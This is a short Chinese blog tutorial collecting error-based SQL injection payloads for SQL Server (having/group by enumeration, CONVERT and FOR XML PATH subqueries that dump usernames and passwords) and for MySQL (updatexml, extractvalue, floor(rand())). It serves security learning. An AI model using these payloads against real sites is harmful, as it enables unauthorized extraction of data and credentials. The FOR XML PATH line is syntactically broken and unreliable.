zoukankan      html  css  js  c++  java
  • 基于报错的SQL注入整理

    SQLServer

    一、利用错误消息提取信息

      输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的),如果网站存在使数据库回显到页面上,那么可以通过页面的回显得到一些想要的数据库字段。通过一次次错误回显来查询出当前表的所有列名(直到没有错误为止)。

      'having 1=1 --

      'group by 爆出来的字段 having 1=1 --  

    二、利用数据类型提取数据

      如果试图将一个字符与非字符比较,或者将一个字符串转换为另一个不兼容的类型时,那么SQL编辑器将会抛出异常:

      TOP关键字在SQL语言中用来限制返回结果集中的记录条数;详细请点我

      select * from users where username='root' and password='password' and 1 > (select top 1 username from users where username not in ('root'))

      如果不嵌入子查询,也可以使数据库报错,这就用到了SQLServer的内置函数CONVERT或者CASE函数,这两个函数的功能是:将一种数据类型转换为另一种数据类型)例如:

      select * from user where username='root' and password='root' and 1=convert(int,(select top 1 users.username from users))

      如果感觉递归麻烦,可以通过使用FOR XML PATH语句查询的数据生成XML:

      select * from users where username='root' and password='root' and 1=CONVERT(int,select stuff(select  ',' + users.username, '|' + users.password from users for xml path(' ')),1,1,' ')))

    MySQL

      在SQLServer中通过报错会回显一些错误信息,在Mysql中却没有提示错误消息;但是可以通过其他方式进行提取:

      通过updatexml函数:select *from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);

      通过extractvalue函数:select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));

      通过floor函数:select * from message where id=1 union select * from (select count(*), concat(floor(rand(0)*2),(select user())) a from information_schema.tables group by a)b

  • 相关阅读:
    软件需求分析
    行高line-height 和vertical-align
    python中的集合基础知识
    python中字典常用的函数和用法
    python中字符串常用的函数
    day-75CRM
    day-74CRM
    day73CRM
    day-72Django源码解析
    day-71Django补充
  • 原文地址:https://www.cnblogs.com/blacksunny/p/5215854.html
Copyright © 2011-2022 走看看